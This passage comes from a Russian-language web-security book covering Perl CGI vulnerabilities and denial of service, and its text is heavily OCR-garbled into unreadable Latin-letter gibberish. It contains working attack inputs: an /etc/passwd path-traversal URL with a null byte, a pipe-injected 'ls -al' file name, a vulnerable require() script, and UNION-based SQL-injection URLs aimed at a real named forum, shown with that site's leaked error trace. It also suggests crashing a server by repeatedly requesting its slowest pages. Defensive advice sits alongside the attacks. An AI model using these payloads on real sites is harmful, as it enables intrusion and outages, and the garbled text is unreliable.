npubasnsercs K UMEHU POrpaMMHO, TO AOCTATOYHO BBIMOJHWUTL CAEAYIOLHIA
URL, 4T06b1 0OTOpOCHTEL NpOrpaMMHO 100aBNseMblii TEKCT:

http://servername/cgi-bin/test.cgi?file=/etc/passwd %00.

Bot TyT coenaio Hebonblloe OTCTyIUIeHUE U II0XKanyloch. J[eno B TOM, YTO B OTe
KpbITOM MHOMH ¢aiine /etc/passwd HaxomMTCA CIIUCOK W3 MHOXKeCTBa 3arucel,
H BCE OHH COOTBETCTBYIOT peasbHbIM NMoJib30BaTenaM Web-cepBepa MOEi XOCTHM»
I'oBOI KOMNaHWU. 3TO 3HAYMT, 4TO Ha 3ToM Web-cepBepe HAXOAUTCA MHOXKECTBO
Web-caifToB, KOTOpbl€ HCMONB3YIOT ONHO OKPY)KEHHE. JTO HE OueHb Xopoiuo, Ha-
MHOrO 3¢deKkTUBHee Obi1o 6bI NOMECTHTL KAKABLIA U3 HHUX B OTHACAbHYIO Cpeay
chroot, 4TOOBI OHM HE MOrAM Jaxe BUIETb APYr Apyra. aHHoe ynylleHHE —-
G6oanmoil MUyc Moel XOCTHHIOBOI KOMMaHUH.
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A1 nymaro, 4TO He HYXKHO NPHBOAKTL JHIIHHA pa3 MHOXECTBO NMPHMEPOB C YTCHH-
eM KOHPHUrypaLHOHHBIX ¢aiinos, ydie pacCMOTPHM OAHY OCOBERHOCTDb, KOTOpas
kacaercs QYHKUMH OTKphITHA (alioB open. Y Hee eCTh OAHA WHTEpPECHaA OCO-
OeHHOCTBb: OHa MOXeT paboTaTh He TONLKO ¢ daiinaMH, HO M ¢ KOMaHAHO#H CTpO-
ko#i. UToObl BRIMONHUTE KOMaHAy, AOCTATOMHO MOCTABHTHL B €€ HAYalO CHMBOJ
BepTHKaNbHOW uepThl. Hanpumep, ecnu BBl XOTHTE MpocMOTperh dainbl B Te-
kywei aupextopuu (B8 OC Linux 3170 KOMaHAa 1s), TO MOXHO B Ka4eCTBe napa-
MeTpa nepeaartb:

|1s -al

Kniou -al B gaHHOM ciyyae goGaBnserca Ans Toro, urodsl yBUAETh NOAPOOHYIO
HHpopMmauuio o ¢aiinax. Ha puc. 7.1 MOXHO YBHAETb Pe3yNbTaT BHIMONHEHHA
3TON KOMaH.®I.

Puc. 7.1. Peaynurar otkpbitus havina |1s -al

Takum obpasom, 6naroaaps ownbke B GpyHKUMH OTKpbITHA aiinos Xakep nonyuya-
€T BO3MOXCHOCTb BHITIONIHATL KOMaHbl Ha BauleM Web-cepsepe. C nomotubto npo-
CTBIX KOMaH/I THMa rm OH MOXeT 6e3 npobsem ynanuth Bee Gaitnbl HIIH 3aMEHHTD
rnasHyo Web-cTpanuiy ceoeii.
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Ecnu B KauecTBe HMeHH (alina nepesaTh TOUKY, TO Bbl TAIOKE YBHAMTE COAEDKH-
Moe Tekyuuei aupexropuu (puc. 7.2). KoHeuHo, Takoii pe3yibTaT MeHee HarisAeH,
NOTOMY 4TO NMOMHMO HMEH (paillioB B HEM COIEPIKUTCA MHOTO HEUHTAEMbIX CHM-
BOJIOB, HO HaliTH HeoOXxonnMble JaHHble MOKHO (g yaobcTBa s BbiAeAHA HX pa-
MOuKOI1).

hiip:

Puc. 7.2. Cogepxumoe TexyLiei gupextopun

3awuTa oT 3TOH OWMOKK Takas e, Kak ¥ ans PHP-cuenapues:

O noaymaiiTe AecaATh pa3, Npexae YeM AABaTb MOAL3OBATENO BO3MOXKHOCTh B/IHe
ATb Ha uMs daiina. He cTOMT MCHONB30BaTh NpH OTKPLITHHU (alina nepeMeHs
Hble, NOJyYeHHble U3 HOpM;

(0 BbIpe3aifTe U3 NEpPEMEHHBIX BCE NPEACTABAAIOLIME ONacHOCTb CHMBOAbL. JIyviie
yhanste Bce, kpome uudp u 6yks. Haubonee omachbiMu cumBONaMu MOXKHO
CUMTATh: TOUKY, CN3L ¥ BEPTHKANBHYIO YepTy.

A neiTanca Haiity B UnTepHeTe Web-caiiThl, cogepxaiune Takyio omubky, HO HHe
ycro ocobeHHO uHTepecHoro He o6Hapyxun — Buaumo Perl aeficTanronsio caaer
CBOM MOIHLMHH.
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7.2. SQL-nHveKkunn

Mbl yxe He pa3 rosoOpHIM O TOM, 4TO ouIKHOKa, NpHBOAALLIas K BO3MOXHOCTH SQL-
UHBEKLIHH, MOXKET OKA3aThCR B CLEHAPUH, HaNMCAHHOM MPAKTHYECKH Ha JoboM
a3bike nporpammupoBanua. Perl TyT He uckioueHude. [aBaiire pacCMOTPHM, Kak
ata ownbka nposenserca. Jna 3Toro A Hawen oAWH OOCTATOMHO MoOceLlaeMblit
dopym (www.volcity.ru).

[Tpu obpatnenun k GpopyMy MeHs 3anHTepecoBano Wma ¢aitna cueHapus, NOTOMy
yTo ero pacwupenue 6p110 .mhtm: http://www.volcity.ru/bb.mhtm. B peans-
HocTH 5TOT (alin oka3zancs NPOCTHIM clueHapHeM, HanucaHHbIM Ha Perl. Bor
npumep URL, oroGpakarowmit Tonuk oaHOro W3 pasgenoB ¢opyMa:
http://www.volcity.ru/bb.mhtm?com=1&r1=10&g_id=99999.

Owunbka kpoercs B napaMeTpe rl, KOTophlii nepenaercs B SQL-3anpoc 6e3 npoee-
pok Ha omnacHble cumBosibl. [lonpoSyem BbinonuuTby cnepyrownit SQL-3anpoc:
http://www.volcity.ru/bb.mhtm?com=1&r1=10' %20and % 201=1/*&g_id=99999.

A1 npocto noGasun B napametp ycnosue "and 1=1" u SQL-3anpoc 6bin BLINOAHEH
yCrewHo, MpU nepejade HEBEPHOro 3Ha4YeHHUA, Hampumep, npu nobGaBneHWH
kako#-nmubo 6yksbl, 6yaer BriBeaeHO coobuieHne 06 ownbke (puc. 7.3).

o coobuiennio B ommbke cpasy BUAHO, YTO 3TO AEHCTBUTENbHO CLEHAPHIt, HanH-
caHHbiii Ha Perl. Yto6bl Bam Obno ynobHee paccMoTpeTh oIMOKY,  BbiHEC €€
B NUCTHHT 7.2, .

A e, Veicity.rufbb 2ot B e 0%, 2030d% 201 11*8g dw93999

- System error

Cant & esll mef;hod “‘nummws" on an undﬁﬁntd vaiua at }‘usursfufc!wmt-g m!htmvwww!bbé’txt t Iine 14

m; ¥ alsif {1%id)} {

115 $output = $dbhe>Quary®salect * from bb where rl = ‘:l:ri' arvid rg om 42! gnd v3 = ’$r3‘$s§r g"1if fr2 5 o &ﬁe #r

1€ foutput » 1dbh->Query{"veluct * frori bb whera 7 = "$ri’ and r2 = $r2 ke o) F $e2 o0 88 1e3

131 $output = $dbh-»Query(“selact * from bb where rL = '§ri'$str_q order by dat DESC Hrait 5°) i '.trz Bt !:trs;

L det o= daesbpotr s g :

15: i (el = 301 { Lo
16: $outpul = fdbhe>Quarg{“seluct * frorm bb where vl » '§r1’ and rZ = "$e2' and k3 e fedtbstr y ardet !:w dat aes_ L
L7} elshf (fe2 B 13r3) { ‘

18: foutput = fdbk->»Quary("salect ¥ from bb where ri = "$ri'str g order by dat C\EEC lirrvit 55

f; code: stack: fuurs/vfa.fuolr.iw sl Rl wiwf B best £r 14
4 fusars/ v/ ofvolcity, ru/htmnl/wew/bb, erhtrn 1107

L raw error

Puc. 7.3. Ownbka sbinonHeHua SQL-3anpoca
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System error

error: Can't call method "numrows" on an undefined value at
/users/v/o/volcity.ru/html/www/bb/txt.t line 14.

context:
10: )} elsif (!'$id) {(

11: Soutput = $dbh->Query("select * from bb where rl = 'S$rl' and r2 =
'$r2' and r3 = '$r3's$str_g") if $r2 > 0 && $r3 > 0;
12: Soutput = $dbh->Query("select * from bb where rl = 'Srl' and r2 =

'$r2'8str_qg") if $r2 > 0 && !$r3;

13: Soutput = $dbh->Query("select * from bb where rl
by dat DESC limit 5") if 15r2 && !Sr3;

14: $cl = $Soutput->numrows;
15: if (Scl 30) {(

16: Soutput = $dbh->Query("select * from bb where rl = 'Srl' and r2 =
'$r2' and r3 = 'Sr3'Sstr_qg order by dat desc limit $page, 31");

17: )} elsif (!8r2 && !Sr3) {

18: Soutput = $dbh->Query("select * from bb where rl = 'Srl'$str_qg order
by dat DESC limit 5");

'$rl'$str_g order

v

code stack: /users/v/o/volcity.ru/html/www/bb/txt.t:14
/users/v/o/volcity.ru/html /www/bb.mhtm; 107

raw error

Can't call method "numrows" on an undefined value at
/users/v/o/volcity.ru/html /www/bb/txt.t line 14.

Trace begun at
/usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Exceptions.pm line 131

HTML: :Mason: : Exceptions: :rethrow_exception('Can\'t call method "numrows"
on an undefined value at /users/v/o/volcity.ru/html/www/bb/txt.t line
14.~3') called at /users/v/o/volcity.ru/html/www/bb/txt.t line 14

eval (...) at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/
Request.pm line 1068
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HTML: :Mason: :Cammands: :___ANON__('sid’', 22306, 'g_id', 2, 'id‘', 1) called
at /usr/local/lib/perlS/site_perl/5.8.4/HTML/Mason/Component.pm line 136

HTML: :Mason: :Component: :xun ( 'HTML: :Mason: :Component : : FileBased=HASH (0x89f
c938)', 'sid', 22306, 'g_id', 2, 'id', 1) called at
/usr/local/lib/perlS5/site_perl/5.8.4/HTML/Mason/Request.pm line 1069

eval (...} at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Request.pm
line 1068

HTML: :Mason: :Request: :comp (undef, undef, undef, ‘'sid', 22306, 'g_id', 2,
'id', 1) called at
/usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Request.pm line 338

eval (...} at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Request.pm
line 338

eval (...} at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Request.pm
line 297

HTML: :Mason: :ReqQuest : :exec ( 'HTML: :Mason: :Request : : CGI=HASH (0x882e3ed) ')
called at /usr/local/lib/perlS/site_perl/5.8.4/HTML/Mason/CGIHandler.pm
line 197

eval {...} at
/usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/CGIHandler.pm line 197

HTML::Mason::Request::CGI::exec('HTML::Mason::Request::CGI=HASH(0x882e3eh
) ') called at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/Interp.pm
line 216

HTML: :Mason: : Interp: :exec (undef, undef, 'sid', 22306, 'g_id’', 2, 'id', 1)
called at /usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/CGIHandler. pm
line 127

eval {...} at
/usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/CGIHandler.pm line 127

HTML: :Mason: :CGIHandler: : _handler('HTML: :Mason: : CGIHandler=HASH (0xB89a764¢
)', 'HASH(0x89bd95c)') called at
/usr/local/lib/perl5/site_perl/5.8.4/HTML/Mason/CGIHandler.pm line 66

HTML: :Mason: :CGIHandler: :handle_request ( 'HTML: :Mason: :CGIHandler=HASH (0x8
9a764c)') called at mason.fpl line 27

310 Aaneko He BcA UHQOpMaUUa, koTopyto coobun mue Web-cepeep. Sl ee co-
KpaTuAa, nabbl COKOHOMHUTb MecTo. Eciu anMUHUCTpaTOpBl HE 3a/1aTaloT 3Ty Abip-
KY, ¥ K MOMEHTY NpPOYTEHHA 3THX CTPOK OHA BCe eule Gyaer NMpUCYTCTBOBATH, Bb
CMOXETE 03HAKOMMUTBLCA C TMOJHbLIM BAPUAHTOM camocTtoaTenbHo. MudopMauuu
MHOro u xakep 6ynetr paj yBHAETEH €€, [IOTOMY YTO B HEH COAEPXKHTCA MHOTO HIO-
aHCOB, KOTOpPbIE YNPOLWIAIOT B3/IOM, TakHe Kak WMeHa moayneii, kog SQL-3anpoca,
HMeHa W TNOJHbIE MYTH K MCMOAb3yeMbIM clieHapuaM W ¢aiinaMm. 310 cepbe3Has
ownbka aaMHHHCTpaTOpa, 4TO Web-cepBep BO3BpallaeT Takyl noapobHyo HH-
dbopmanumio 06 omubke.

Tenepr nonpobyem nopobGpath konuyecTBO nosei. ng storo no6asum B napa-
MeTp oObeauHeHHe ¢ ONepaTopoM SELECT M mnociemoBatenbHO Oynem ysenuuu-
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AaThb KOJIMYECTBO BO3BPAIIAEMBIX NONIEH, NT0Ka He Hcue3HeT olwnbKa, ¥ Mbl He Ybu-
mM opyM. Ho noaGop 6yzer aonrum, noroMy uto npu BHeapeHHH kona u3 SQL-
anpoca fIBHO MCYe3aeT OrpaHHYeHHe Ha KOJIMYECTBO BhIOMpaeMBIX CTPOK, MO3TO-
ty Web-ceppep 6yaer Bo3ppauiate GONbLIOE KOJNHYECTBO CTPOK, HTO CIIHIIKOM
\ONro W HaKNaaHoO JJIA MEHA, MO3TOMY A noadopa s BHEAPHWA ClIAYIOLLYIO KOH-
Tpykuuto: "' limit 1 union select null, null, .../*"

} Hayane CTOMT omnepaTtop limit M uMcao 1. Takum obpa3om, A orpaHH4HBAIO KO-
'U4ECTBO CTPOK, Bo3BpaulaeMbix SQL-3anpocoM, NpOLIMTEIM B CLIEHApHH €UHU-
|eif, @ 3HaAUHT BLITOJIHATBHCA M 3arpyxkaTbes oH Oyaer 6sicTpo.

lop6op 3asepumica caeaytowuM URL: http://www.volcity.ru/bb.mhtm?com=
&r1=10'%20limit %201 % 20union % 20select %200,0,1,2,3,4,5,6,'sdfh' ,null,null,
wll,null,null,;null,null,null,null/* &g id=99999.

Ia puc. 7.4 nokasaH npumep BHeAPEeHHOro MHo# tekcra B Web-ctpaHuuy ¢opy-
(a. KoHeuHo, 3TH XaHHbIE 5 He COXpaHsn B Oa3e NaHHbIX.

: 'Iuk}gzi_le_a_'l’lts'r;,qizméa _ o N Bafasc - f._:'J_réaq's_:s:'*ri;:as«iime; f‘iﬁiéyftga'fkuw'wa.__
Nokyrica Npogawa : AaroakycTara ' o '
; o« Netiynina Pipimie o  Flpeos

Toyots Land Cruiser Prady
Toyats Land Snagar Prada WES e ge 27 173 0 o, AR, Sos apobiara, ypevs )
copsfipdoTeiil, IOADTHITH, BRI AIBTRIMINL HA Saras, ot v paaese or BEHHL Mecoto
MENORESENR T LT Gl

Puc. 7.4. BHeapenHoe coobuieHne
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Bcee, uTo MbI paccMaTpuBatd B oTHOLueHUH SQL-uunekuuu B PHP u ASP (em. en. 5
u 6), B paBHO} cremeHu orHOocuTCcA W K Perl, nostomy 1 we Oyxy nosTopaTbed.
Jlydiue ABUHEMCS Janible B PpACCMOTPHM HTO-TO 60/1ee HOBOE U HHTEPECHOE,

7.3. BbInonHeHue cuCTeMHbIX KOMaHA

Cnenyroias QyHKUMS, KOTOpas NpeACTaB/eET yrposy 6e3onacHocth Web-cepsepa, —
system. OHa nony4yaer B Ka4ecTBE mapaMeTpa CTPOKY, KOTopas nepenaercs Ha
BbINONHEHHe cUcTeMe. ClieyIowmii IpUMEp BBITIOHHUT CHCTEMHYIO KOMaHIy 1s -al:
system("1ls -al");

Ecnu B 3Ty QyHKUHIO mepefaercs mepeMeHHas, MOAYYEHHAd OT MOAb3OBaTeNd,
TO XaKep CMOXET MOJYYHTb BO3MOXHOCTb BBITOJHATb B CHCTEME IPOH3BO/bHbIE
koMaHab. Sl pekoMeHayto 3a6bITk PO 3TY PYHKUMIO U BcaveCku uiberaTthb ee Uc-
TNOAb30BAHUA.

7.4. NopknioyeHue pannos

B Perl ectb QpyHKUMSA require, KOTOpas, Kak W oaHOMmeHHas ¢yHkuus B PHP,
NMOAKNIOYAET yKa3aHHbIA B KauecTse mapaMerpa (aiin U BbINOAHAET ero. B auc-
TUHre 7.3 1OKa3aH NMpUMEP CLIEHAPHs, KOTOPbIH:

O otobpaxkaer popMy C TEKCTOBBIM NOJIEM A/ BBOAA NapaMeTpa;
(0 nmepemaet TEKCTOBBIH NapaMeTp CLEHApHIO testrequire.cgi;
O nepenaer MOAY4EHHYIO CTPOKY QYHKUHMH require.

#'!'/usr/bin/perl -w
use CGI gw(:standard);

print "Content-type: text/html\n\n";

print "<H4>Test form</H4>";

print ‘<form action="http://server/cgi-bin/testrequire.cgi”
method="get">";

print '<input name="file" size="15">';

print '<input type="sulmit" value="Submit">';

print '</form>';

$file = param('file');
require($file);
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KoHeuyHo, naHHas ya3BMMOCTb HE TaK CTpailiHa, KaK HCMO0ib30BaHUE OAHOWMEHHOM
dyHkuuu 8B PHP. Heno B Tom, uto B Perl pyHKUMA require moaxio4aeT TONBKO
Perl-cuenapuu. [lostomy xakep mosxkeH umerb Ha Web-cepsepe Perl-cuenapui,
KOTOPBI CMOXET BHITIONHHTD HEOGXOAUMbBIE AEHCTBHA.

OTY yA3BUMOCTb HEJb3A Ha3BaTh CEPbE3HONH H MOTOMY, YTO €C/H YK ecTb ¢aiin Ha
Web-cepsepe, KOTOpPbIA Xakep XOYET BbINONHUTb, TO OH MOXKET 06paTHTbCA K HeE-
My HanpsaMy1o, He obpaias BHUMaHHUA Ha OTCYTCTBHE NPOBEPOK.

EAUHCTBEHHBI BapHaHT HCIOABb30BaHUA AAHHOH YA3BHUMOCTH — BO3MOXHOCTH
BuInOAHUTL CGl-cueHapuii, KOTOpbi#i HaxoauTcsa BHE KOpHA Web-cepsepa, HO A4
3TOro HeOOXOAUMO TOYHO 3HATH PACMOAOIKEHWE CLIEHAPHA W HWMeTb COOTBETCT-
ByIOLLME NpaBa AOCTYIIA.

Ho, He cMoTpA HA TO, YTO (PYHKLHUIO TPYAHO Ha3BaTh KPUTHHHOH K 6e30macHOCTH,
K €€ UCMOAb30BAHMIO BCE XKE Jy4lle OTHOCHTbCA C JOJKHLIM onaceHueM. Beap
INns Toro, 4yTtobbl CLUEHAPUH MOTAH BBITIOAHATHLCA, HEOOXOOUMO YCTAHOBHUTBL COOT-
BETCTBYIOLIME MPaBa AOCTYMNA JUIA TeKylero nosas3osatens. Hanpumep, ecnu xa-
Kep 3arpy3uT cLeHapHii Ha Web-cepBep, HO HE CMOXKET YCTAHOBUTb NpaBa Ha €ro
BBINOAHEHHE, TO OH HE CMOXeT Hanpamyl obpaTUTbCa K Hemy uepes Opaysep.
Ho ecnu oH monbiTaeTcs 3amycTHTb €ro 4epe3 yA3BUMOCTb npu oOpalieHuH
K QYHKUHH require, TO cucHapHuii OyaeT BLIMOIHEH.

Kak Bbl HaBepHO 3aMETHAH, BO3MOXKHOCTH a3bikoB Perl u PHP copepxat ouesp
MHOro OoOLIMX MOTEHUHANbHBIX YIpo3, KOTOPbIE€ B OCHOBHOM CBf3aHbl ¢ oOpatuie-
HUeM K $ainoBOM CHUCTEME, BbLIMTOAHEHUEM CHUCTEMHBIX KOMaHA UK 06paieHHem
kK CYBJ. Ecau B KAKOM-TO M3 3THX CAYYAEB XaKep UMEET BO3MOMHOCTb H3MEHHTD
NOTYKY YNpaBfieHUA BALUEro CLEHAPHA UK MOBAUATL Ha BbINOAHAEMblE KOMaHAbI,
TO 3TO YyX€ Cepbe3Has YA3BUMOCTb BHE 3aBUCHUMOCTH OT MCIIOAb3YEMOrc A3blka
NporpaMMupOBaHUA.
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DoS-ataka Ha Web-caur

Korga Haiitn owmnbky B cueHapuax Web-caiita He ymaercs, Xakepbl HaYMHAKOT
npuberatb K APYruM MeTOAaM, B 4aCTHOCTH, DoS-atake. Mol yxke rosopun o Heit
panee (cm. pazo. 1.7), a ceiivac paccMoTpUM 6onee moapoOHO: Mbl YBHAMM, Kak
C €€ MOMOLLBIO MOXKHO caenarth Web-cepBep HENOCTYIIHBIM UM MAKCHMANbHO 38-
TOPMO3UTL ero pabory.

8.1. Jonro BbinonHslowuecA SQL-3anpochbl

Korma xakep wwer uenb mns opraHwsaumd DoS-arakn, oH Bbibupaer te Web-
CTpaHHUbI, KOTOPbIE 3arpy’KaloTca O4Y€Hb JOJIr0, YTO rOBOPHT 06 UX MJIOXOH ONTHMU-
3auuMK, T. €. yTobb1 Web-cepsep Mor oToOpasHTs HeoOXOOUMbIE JaHHbIE, €MY TIPHXO-
OWTCA OCYLLECTBUTH MHOXKECTBO OIepaLiuid, CHNIbHO 3arpy’KatoLLMX MpoLeccop.

[lporpamMmucT, nuiyuwuii 3anpockl Ha SQL, nomkeH npekpacHo NMOHKUMATh MPUH-
umunbr pabotkt CYB]I, Mcnonab3oBaTh Bce e NpedMyILecTBa U cTapaThca Ulberath
HEAOCTaTKOB.

PaccmoTpum 3Ty npobnemy Ha npumepe. Ha moem Web-cepBepe ucnoabiyercs
ceazka PHP + MySQL, ang kotopoii HalMcaHO MHOXECTBO CLIEHAPHEB, B TOM
urcne v ¢popym. PaHbille HA cBoem A ucnonbzosan phpBB, Ho nocne Toro, kak oH
OblA HeCKOJIbKO pa3 B3OMAaH, A pelllnAa NMOAHOCTBIO MepenucaTh ero, T. K. NoCTo-
AHHO CAEAWTH 33 BLIXOAALMMH OOHOBNAEHHAMH 3TOrOo (popyMa MHe ObIAO JIEHb.
Habb! He noTepATb BCE TO, YTO HAKOIIWAOCH B 6a3e JaHHLIX, A OCTaBHJ CTPYKTYPY
TabAul CO BCeM ero COOep:KUMbIM H Meperucan BCIO NPOorpaMmMHYIO 4acThb.

Ctpykrypa 6a3bl naHHbix ¢opyMa phpBB ouens xopoiuo npoaymaxa, mo3atomy
ocTaswi A ee He 3pa. Ho npu paboTe He yuesn oguH GakT, TOUHEee CKa3aTh, A €ro He
sHan: MySQL oueHr MenneHHO BbimosiHgeT cBa3anHbie SQL-3anmpockl. HamHoro
BbIroaHee BHINOAHUTL TpU SQL-3anpoca k Tpem Tabanuam no oTAeabHOCTH, YeM
CBA3aTh MX W BBLIMOJHATL BMecTe. BO3MOXKHO, 1 UTO-TO HE NOHHUMAIO, 110, PAIIC/THB
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Sonbiune cazaHHbie SQL-3ampochl HA HECKONIBKO MalleHbKHX, CKOPOCTh (PopMH-
posaHHs Web-CTpaHHLIbI MOXKHO YBEAHYHTbL B HECKOJIBKO pas.

Camuiit cnoxubiii SQL-3anpoc Ha MmoeM Web-caiite otobpaxan mocnegu1e coob-
uieHus ¢ ¢opyMa, 3arpyzka Web-cepsepa Bo BpeMs €ro BbIIIOJIHEHHA Pe3Ko BO3-
pactana. Sl yauBAeH, MOYEMY XaKepbl HE BOCIIONb3OBAIUCH ITOH YA3IBUMOCTHIO?
Hoctarouno 6b1a0 Hanucarb nMporpamMmy, koropast Ob1 Kaxabie MNATE MHHYT 3ampa-
iwrBsana Web-crpaHuiy ¢ nocieAHUMHU cOOOLUEHUAMH, U 3aMyCTHTL €€ Ha AECATKE,
a TO M COTHE KoMMbloTepoB. Takas mporpamma OyneT He CHALHO HarpyxaThb ceTe-
BoH TpagHuk, 3aTo Web-cepBep "3anbIXTHUT Kak MapoBo3”.

Hrak, ecnd ecTb CLEHapHii, KOTOPBI BBIMOJIHAETCA AOCTATOMHO AOATO, TO 3TO
MOXET FOBOPHTbL O TOM, 4TO ANA ero pabothl TpeOyeTcs MHOIO BBIYHCAHTENBHBIX
pecypcos. Tenepb npocto GopMUPyeM O4eHb 60sbLlOE KOIUYeCTBO OOpalIeHHH
K 5TOMY CUeHapHio U B pesynbTaTe Web-cepsep He criocoben obpabareisaTh opy-
rHe 3afpockl.

8.2. OnTumusauun pabotbl ¢ CYB[]

Kax Mbl y)xxe moHanu, ontumMuzauus SQL-3anpocoB mo3BosiseT CIKOHOMUTb MOLI-
HocTH Web-cepBepa W MOBBICHTb €ro MPOH3BOAWTENBHOCTb, YTO YMEHBIUHT BO3-
MOXKHOCTb TIOJIOXKUTEABHOTO UCXOAA NpoBOAMMOH MpoTuB Hero DoS-ataku. s
AOCTYNa K JAHHBbIM MCMOJb3yeTca A3bik 3anpocoB SQL, koTopbiii cTaHaapTH3Hpo-
BaH MHOTO JieT Ha3afl, HO He NOTepan CBOeH aKTyalbHOCTH W no ceil AeHb. CTaH-
napt 6yner UCnonb30BaTLCA €llle JOJroe BpeMs, a BOT BO3MO)KHOCTH, KOTOpbIE€ OH
NpeaoCcTaBseT, yxKe He MOryT 06ecrieduTb COBPEMEHHBIX MTOTpeOHOCTEH.

B cBoeii npakTHke 1 ucnonab3oan pauuuHbie CYB]I 1 He pas ofxurasncs Ha TOM, YTo
OHY no-pasHoMy moryT obpabarbisath naxe SQL-3anmpockt cranmapra 1992-ro roaa.
Bpoae Obl Bce BLIIOAHAETCS BEPHO, HO ¢ HEOOABIIMMHU OTKJIOHEHHAMH, HarpUMep,
CVYDBJI MoxeT noanepXvuBaTh AW HET YTeHHE AaHHbIX, KOTOpbIE 3anucaHbl B Ha3y
AaHHBIX, HO €lle He NMOATBepXKAeHLI. DTO CBOWCTBO CBA3AHO C NOAAEpPXKKOH pa3-
NAYHBIX YPOBHEH H30AALUHN Y HACTPOEK.

HMeHHO nosToMy Bbi JOMKHBI C CAMOr0o Hauana nucaTh CUEHapuid WMEHHO 1on
Ty CYBJ, ¢ xortopoii 6ymer npoucxoauth pabota. Henb3s mnucath KoO 1mon
MS SQL Server unu MySQL, a notom npocto nepenectd ero noa Oracle. 31o
COBEPLIEHHO pa3Hble CHCTEMbI, KOTOPbIe paboTaloT No-pa3HoOMY, MIO3TOMY BCEA-
CTBHE TAaKOrO repeHoca MOTYT BO3HHKHYTb NpoOnieMbl HEe TOAbKO C MPOM3BOAM-
TEJIbHOCTBIO, HO ¥ NONYYEeHHEM BEPHOrO pe3yabTarta.

[fpy onTumuzauvu npunoxeHui, paboraromux ¢ CYBJ, HyKHO AeHCTBOBATH
C OBYX CcTOpoH: onTtumusupoBaTb camy CYBJ[ v cpeacTBa noctyna K AaHHbIM
(SQL-3anpocsi). Ilpuuem pabortaTs HyKHO cpa3y Haa O6E€HMH COCTaBJAIOLWIKMMH,
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NOTOMY 4TO OHH B3aHMMOCBs3aHbl: MOBblLEHHe MpoussoauTensHocTH CYB]] mo-
XKeT HeraTHBHO CKa3aTbCa Ha mpoussoauTenbHocTd SQL-3anpoca. Spkum ToMmy
IIPUMEPOM MOTYT CJY)KHTb MHACKCbl. EcAW Bbl cO34anH UHAEKC ANA MNOBbILLIECHUSA
ckopocTH pabortsi ¢ Tabnuueii, To 3T0 He 3HaYuT, Yyto SQL-3anpoc Gynet paboTars
ObicTpee, MoxeT O6bITh U HA060pOoT, OCO6EHHO NpPU CO3AaHHH 6ONLILIOTO YUCA UH-
JEKCOB. :

HauHas kHura He gpnaserca pykosoacteoM no CYBJl, moaToMy ONTHMH3ALMIO Mbl
paccMOTPUM TOJABLKO B 00KMX 4Yeprax. 3a 6onee noapodHoi uHpopmauuei obpa-
uaiTeCh K ClIeLlHanU3NpOBAHHOM JIMTEpaType.

8.2.1. OnTumuaaumnna SQL-3anpocos

HekoTopbie NporpaMMHUCTB! CYHTAIOT, YTO 3anNpock! paboTalOT OAWHAKOBO B JKO-
6oit CYBJl. Oto 6onbiuas ownbka. deiicTBUTENBHO, cymecTByeT ctaHaapt SQL,
W 3anpoChl, HAMTMCAHHbBIE HA HEM, OyAyT BOCIPHHATLI B 60ALLLUHHCTBE CUCTEM OfH-
HakoBo. Ho Toabko "BocnpuuaTth”, a ux o6paGoTka MOXET NMPOUCXOAUTH COBEp-
LUEHHO NMO-pa3HOMY.

MakcuManbHbie npo6iaeMbl BO BpeMsA INEpPeHOCa MPHAOKEHUA MOTYT MPHHECTH
pacwupenus a3bika SQL. Tak, wanpumep, 8 MS SQL Server ucnonbsyercs
Transact-SQL, a 8 Oracle — PL/SQL, u ux onepaTtops! COBEPIICHHO HECOBMECTH-
Mbl. Bbl JOMKHBI 3apaHee onpenenuTbea ¢ ucnonbdyemoit CYB]I, utobObi He
CTONKHYTbCA C BO3MOXHBIMH npobnemamu B OyayiueM.

Ho paxe ecnu BbI nepeBenere CUHTAKCHC 3anpoCoB C OQHOTO A3blka HA ApYro#,
npo6yieM MO-MpeKHEMY OCTaHETCA OYeHb MHOTO. DTO CBA3aHO C pPa3iH4HbIMH ap-
XHTEKTypam¥ ONTHMU3ATOPOB, pa3HUUel B OGaokupoBkax U T.a. Ecau kox mpo-
rpammbl Ipy cmMeHe CYBJ[ tpefyer He3HauUTENbHBIX H3MEHEHHH, TO 3anpochl
HY>KHO MepenuchiBaTh MOAHOCTDIO. '

HecmoTpa Ha Gonbiune paznuuus mexay CYBJl pasubix npoussoauteneH, ecTb
K obLIHe CTOPOHBI, HANpuMep, OOMBILIWHCTBO U3 HUX BLITIONHAIOT 3alpoChl Cle-
ayouum obpasom:

O pa36op 3anpoca;

O ontuMu3auus;

O redepauus naaHa BLIMOAHEHHS;
O swINIONHEHKE 3anpoca.

3T0 BCEro AMiLb OOWKH M1aH BLIMOMHEHUA, a B Kaxkao# koHkpeTHod CYB/I konu-
4eCTBO LLIAroB MOXeT MEHATbCA. Ho rnasHoe coCTOMT B TOM, YTO Mepen BLITIONHO-
HHEM APOUCXOAMT HECKOJbKO LIAroB Mo roaroToBKe, KOTOpbie OTHHUMAIOT [OCTa-
TO4YHO MHOro BpemeHH. [locne BeinoaHeHus 3anpoca ucnonb3onaiibiil 1wiaH Gyaer
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coxpaHeH B cneuuanbHoM 6ydepe. [Ipu cnexylomem 3arnpoce 3TH AaHHbIE 6YAYT
nonyveHs! U3 Gydepa U cpasy xke HauHeTCsa ero BbINOJIHeHUe 6e3 NHIRHUX 3aTpar
Ha TIOArOTOBKY.

Teneps nocMorpuM Ha asa SQL-3ampoca:
SELECT *

FROM TableName

WHERE ColumnName=10

H:

SELECT *

FROM TableName
WHERE ColunnName=20

O6a sbiOMpaloT Bce AaHHbIE U3 OOHOH W TOM ke Tabnuubl. ToNbKO NEPBLIA NMOKa-
XEeT CTPOKH, B KOTOPLIX KOJIOHKA ColumnName comepXHT 3HaveHue 10, a sropolt
TOKAXET CTPOKH, IIE 3Ta e KONOHKA COASPXKHT 3HavueHue 20. Ha nepshiif Barnag
OHH OYeHb MOX0XH W AO/DKHBI BBITIONHATCA 110 OAHOMY U TOMY Ke muaHy. Ho 3ro
